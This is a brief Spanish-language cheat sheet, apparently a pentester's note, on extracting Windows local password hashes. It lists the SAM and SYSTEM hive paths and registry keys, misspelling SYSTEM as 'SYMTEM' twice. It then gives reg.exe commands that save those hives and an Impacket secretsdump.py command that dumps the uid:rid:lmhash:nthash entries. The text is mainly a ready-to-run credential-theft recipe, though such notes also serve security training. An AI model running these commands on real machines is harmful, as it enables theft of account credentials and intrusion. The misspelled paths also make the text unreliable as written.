Archivo SAM y SYSTEM

Impacket

Archivos y registro de Windows

# Archivos 
C:\Windows\System32\Config\SAM
C:\Windows\System32\Config\SYMTEM

# Registro de Windows
HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\SYMTEM

Copia de registros de Windows

reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SYSTEM system.bak

secretsdump.py

secretsdump.py -sam sam.bak -system system.bak LOCAL

• uid:rid:lmhash:nthash